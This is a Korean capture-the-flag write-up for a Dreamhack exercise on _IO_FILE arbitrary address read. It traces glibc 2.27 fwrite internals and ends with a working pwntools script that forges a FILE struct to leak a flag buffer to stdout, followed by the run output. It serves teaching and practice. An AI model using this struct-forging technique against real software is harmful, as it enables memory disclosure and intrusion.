Description
Exploit Tech: _IO_FILE Arbitrary Address Read에서 실습하는 문제입니다.
checksec
seo@ubuntu:~/dreamhack/_IO_FILE_Arbitrary_Address_Read$ checksec ./iofile_aar [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/seo/dreamhack/_IO_FILE_Arbitrary_Address_Read/iofile_aar' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Decompiled-src
iofile_aar.c
// Name: iofile_aar // gcc -o iofile_aar iofile_aar.c -no-pie #include <stdio.h> #include <unistd.h> #include <string.h> char flag_buf[1024]; FILE *fp; void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int read_flag() { FILE *fp; fp = fopen("/home/iofile_aar/flag", "r"); fread(flag_buf, sizeof(char), sizeof(flag_buf), fp); fclose(fp); } int main() { const char *data = "TEST FILE!"; init(); read_flag(); fp = fopen("/tmp/testfile", "w"); printf("Data: "); read(0, fp, 300); fwrite(data, sizeof(char), sizeof(flag_buf), fp); fclose(fp); }
- read_flag() 함수에서 “/home/iofile_aar/flag” 파일을 읽고, 전역 변수인 flag_buf에 저장한다.
- “/tmp/testfile” 파일을 쓰기 모드로 열고, 파일 포인터에 300 바이트 만큼의 값을 입력할 수 있다.
이를 통해 _IO_FILE 구조체 조작이 가능하다. - 파일 포인터를 덮어쓴 후에는, “/tmp/testfile” 파일에 “TEST FILE!” 문자열을 작성한다.
Solution
파일을 읽고 쓰는 과정은 라이브러리 함수 내부에서 파일 구조체의 포인터와 값을 이용하는데,
이번에도 마찬가지로, 파일 구조체를 조작해서 임의의 주소에 쓸 수 있는 취약점에 대해 알아보자.
대표적으로, 파일 내용을 읽는 함수는 fread, fgets가 있고,
파일에 데이터를 쓰기 위한 함수로는 fwrite, fputs가 있다.
파일을 쓰는 함수들은 라이브러리 내부에서 _IO_sputn (_IO_new_file_xsputn) 함수를 호출한다.
fwrite 함수에 대해 살펴보면,
https://github.com/bminor/glibc/blob/glibc-2.27/stdio-common/putw.c#L20
#include <stdio.h> #include <libio/iolibio.h> #define fwrite(p, n, m, s) _IO_fwrite (p, n, m, s)
https://github.com/bminor/glibc/blob/glibc-2.27/libio/iofwrite.c#L30
_IO_size_t _IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp) { _IO_size_t request = size * count; _IO_size_t written = 0; CHECK_FILE (fp, 0); if (request == 0) return 0; _IO_acquire_lock (fp); if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1) written = _IO_sputn (fp, (const char *) buf, request); _IO_release_lock (fp); /* We have written all of the input in case the return value indicates this or EOF is returned. The latter is a special case where we simply did not manage to flush the buffer. But the data is in the buffer and therefore written as far as fwrite is concerned. */ if (written == request || written == EOF) return count; else return written / size; } libc_hidden_def (_IO_fwrite)
https://github.com/bminor/glibc/blob/glibc-2.27/libio/libioP.h#L377
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1219
_IO_size_t _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n) { const char *s = (const char *) data; _IO_size_t to_do = n; int must_flush = 0; _IO_size_t count = 0; if (n <= 0) return 0; /* This is an optimized implementation. If the amount to be written straddles a block boundary (or the filebuf is unbuffered), use sys_write directly. */ /* First figure out how much space is available in the buffer. */ if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) { count = f->_IO_buf_end - f->_IO_write_ptr; if (count >= n) { const char *p; for (p = s + n; p > s; ) { if (*--p == '\n') { count = p - s + 1; must_flush = 1; break; } } } } else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */ if (count > 0) { if (count > to_do) count = to_do; f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; to_do -= count; } if (to_do + must_flush > 0) { _IO_size_t block_size, do_write; /* Next flush the (full) buffer. */ if (_IO_OVERFLOW (f, EOF) == EOF) /* If nothing else has to be written we must not signal the caller that everything has been written. */ return to_do == 0 ? EOF : n - to_do; /* Try to maintain alignment: write a whole number of blocks. */ block_size = f->_IO_buf_end - f->_IO_buf_base; do_write = to_do - (block_size >= 128 ? to_do % block_size : 0); if (do_write) { count = new_do_write (f, s, do_write); to_do -= count; if (count < do_write) return n - to_do; } /* Now write out the remainder. Normally, this will fit in the buffer, but it's somewhat messier for line-buffered files, so we let _IO_default_xsputn handle the general case. */ if (to_do) to_do -= _IO_default_xsputn (f, s+do_write, to_do); } return n - to_do; } libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
fwrite → _IO_fwrite → _IO_sputn → _IO_XSPUTN → _IO_new_file_xsputn
이렇게 최종적으로 라이브러리 내부에서 _IO_new_file_xsputn
함수를 호출하는 것을 알 수 있다.
- _IO_new_file_xsputn
_IO_size_t _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n) { const char *s = (const char *) data; _IO_size_t to_do = n; int must_flush = 0; _IO_size_t count = 0; ... if (to_do + must_flush > 0) { _IO_size_t block_size, do_write; /* Next flush the (full) buffer. */ if (_IO_OVERFLOW (f, EOF) == EOF) ... }
_IO_XSPUTN
함수의 매크로이며, 실제로는 _IO_new_file_xsputn
함수를 호출한다.
이 함수에서는 인자인 data와 size를 검사한 다음, _IO_OVERFLOW()
→ _IO_new_file_overflow
함수를 호출한다.
- _IO_new_file_overflow / _IO_new_do_write
- https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L745
- https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L430
int _IO_new_file_overflow (_IO_FILE *f, int ch) { if (f->_flags & _IO_NO_WRITES) /* SET ERROR */ { f->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } ... if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); ... }
_IO_new_file_overflow
함수에서는 파일 포인터의 _flags
변수에 쓰기 권한이 부여되있는지 확인하고,
해당 함수의 인자로 전달된 ch
가 EOF(= -1)이라면 _IO_do_write
(_IO_new_do_write) 함수를 호출한다.
_IO_size_t _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n) { ... if (_IO_OVERFLOW (f, EOF) == EOF) ... }
_IO_new_file_overflow()
를 호출할 때 인자로 EOF를 전달하므로 _IO_do_write
(_IO_new_do_write) 함수가 호출된다는 것을 알 수 있다.
int _IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do) { return (to_do == 0 || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF; }
_IO_new_do_write
함수가 호출될 때 전달되는 인자를 보면,
파일 구조체의 멤버 변수, fp가 들어감을 알 수 있다.
static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do) { _IO_size_t count; if (fp->_flags & _IO_IS_APPENDING) /* On a system without a proper O_APPEND implementation, you would need to sys_seek(0, SEEK_END) here, but is not needed nor desirable for Unix- or Posix-like systems. Instead, just indicate that offset (before and after) is unpredictable. */ fp->_offset = _IO_pos_BAD; else if (fp->_IO_read_end != fp->_IO_write_base) { _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1); if (new_pos == _IO_pos_BAD) return 0; fp->_offset = new_pos; } count = _IO_SYSWRITE (fp, data, to_do); if (fp->_cur_column && count) fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1; _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base; fp->_IO_write_end = (fp->_mode <= 0 && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) ? fp->_IO_buf_base : fp->_IO_buf_end); return count; }
_IO_do_write
함수는 내부적으로 new_do_write
함수를 호출한다.
하나씩 살펴보면…
if (fp->_flags & _IO_IS_APPENDING)
파일 쓰기에 앞서 파일 포인터의 _flags
와 _IO_IS_APPENDING
플래그가 포함되어있는지 확인한다.
count = _IO_SYSWRITE (fp, data, to_do);
다음으로 new_do_write
함수의 인자인 fp
와 data
, 그리고 to_do
를 인자로 _IO_SYSWRITE
함수를 호출하는데,
이는 vtable의 _IO_new_file_write
함수를 호출한다.
- _IO_new_file_write
- https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1195
_IO_ssize_t _IO_new_file_write (_IO_FILE *f, const void *data, _IO_ssize_t n) { _IO_ssize_t to_do = n; while (to_do > 0) { _IO_ssize_t count = (__builtin_expect (f->_flags2 & _IO_FLAGS2_NOTCANCEL, 0) ? __write_nocancel (f->_fileno, data, to_do) : __write (f->_fileno, data, to_do)); if (count < 0) { f->_flags |= _IO_ERR_SEEN; break; } to_do -= count; data = (void *) ((char *) data + count); } n -= to_do; if (f->_offset >= 0) f->_offset += n; return n; }
_IO_new_file_write
함수에서는 write
시스템 콜을 통해 파일에 데이터를 작성한다.
시스템 콜의 인자로 파일 구조체에서 파일 디스크립터를 나타내는 _fileno
, _IO_write_base
인 data
,
그리고 _IO_new_file_overflow
을 참고하면 _IO_write_ptr - _IO_write_base
로 연산된 to_do
변수가 전달된다.
즉, 파일 구조체의 _flags
, _fileno
, _IO_write_ptr
, _IO_write_base
를 조작할 수 있다면, IO Arbitrary Read
로 메모리를 읽을 수 있다.
write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
write 시스템 콜을 호출할 때, 위와 같이 실행되는데,
정상적인 동작이라면, _IO_write_base
를 기점으로 _IO_write_ptr - _IO_write_base
크기만큼 쓰기를 수행한다.
즉, _fileno
를 stdout으로 조작하고 _IO_write_base
에 읽을 주소를 저장 후 _IO_write_ptr
을 “읽을 크기만큼 더한 값”을 저장하면 임의의 주소를 읽을 수 있다!
이제 fwrite 함수에서 참조하는 파일 구조체를 조작해서 flag_buf에 저장된 flag를 읽어보자.
Breakpoint 1, 0x00000000004007df in main () gdb-peda$ p *(FILE *)$rax $1 = { _flags = 0xfbad2484, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>, _fileno = 0x3, _flags2 = 0x0, _old_offset = 0x0, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x602340, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x602350, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = '\000' <repeats 19 times> }
fopen(“/tmp/testfile”, “w”);한 직후의 FILE 구조체를 살펴보면 위와 같다.
write(f->_fileno, _IO_write_base, _IO_write_ptr – _IO_write_base);
위에서 언급했던 것처럼 _IO_new_file_write()
에서 write 시스템 콜을 호출되기 때문에,
fp를 조작할 수 있으므로 write 시스템 콜을 통해 flag_buf
를 읽게 만들면 된다.
먼저, _flags
검증을 우회하기위해 _flags
에 _IO_MAGIC
과 _IO_IS_APPENDING
비트를 포함한 값으로 덮어쓴다.
다음으로 flag_buf를 출력하기 위해 _IO_write_base
와 _IO_write_ptr
을 각각 flag_buf
주소와 flag_buf + 300
주소를 입력한다.
마지막으로 _fileno
를 stdout으로 조작하여 flag_buf를 출력시킨다.
그 외 나머지 변수들은 0을 입력해야되는데, 이러한 이유는 new_do_write
함수에서 lseek 시스템 콜이 호출될 수 있기 때문이다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = remote("host3.dreamhack.games", 17606) #p = process("./iofile_aar") e = ELF('./iofile_aar', checksec=False) libc = ELF('./libc.so.6', checksec=False) flag_buf = e.symbols['flag_buf'] #write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base); #write(stdout, flag_buf, 500); payload = p64(0xfbad0000 | 0x800) #_flags (_IO_MAGIC | _IO_IS_APPENDING) payload += p64(0) #_IO_read_ptr payload += p64(flag_buf) #_IO_read_end payload += p64(0) #_IO_read_base payload += p64(flag_buf) #_IO_write_base payload += p64(flag_buf+500) #_IO_write_ptr payload += p64(0) #_IO_write_end payload += p64(0) #_IO_buf_base payload += p64(0) #_IO_buf_end payload += p64(0) #_IO_save_base payload += p64(0) #_IO_backup_base payload += p64(0) #_IO_save_end payload += p64(0) #_markers payload += p64(0) #_chain payload += p64(1) #_fileno (stdout) p.sendlineafter(b"Data: ", payload) p.interactive()
Result
seohyun-gyu@MacBook-Pro > ~/Desktop/dreamhack/_IO_FILE_Arbitrary_Address_Read > python3 solve.py [+] Opening connection to host3.dreamhack.games on port 17606: Done [*] Switching to interactive mode DH{395880f6942dff77f2a9ee1e47546825a0f0a4865b706aa6ca44bdcd4f5c7eac} \x00...[*] Got EOF while reading in interactive $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 17606
Reference
https://keyme2003.tistory.com/entry/dreamhack-IOFILE-Arbitrary-Address-Read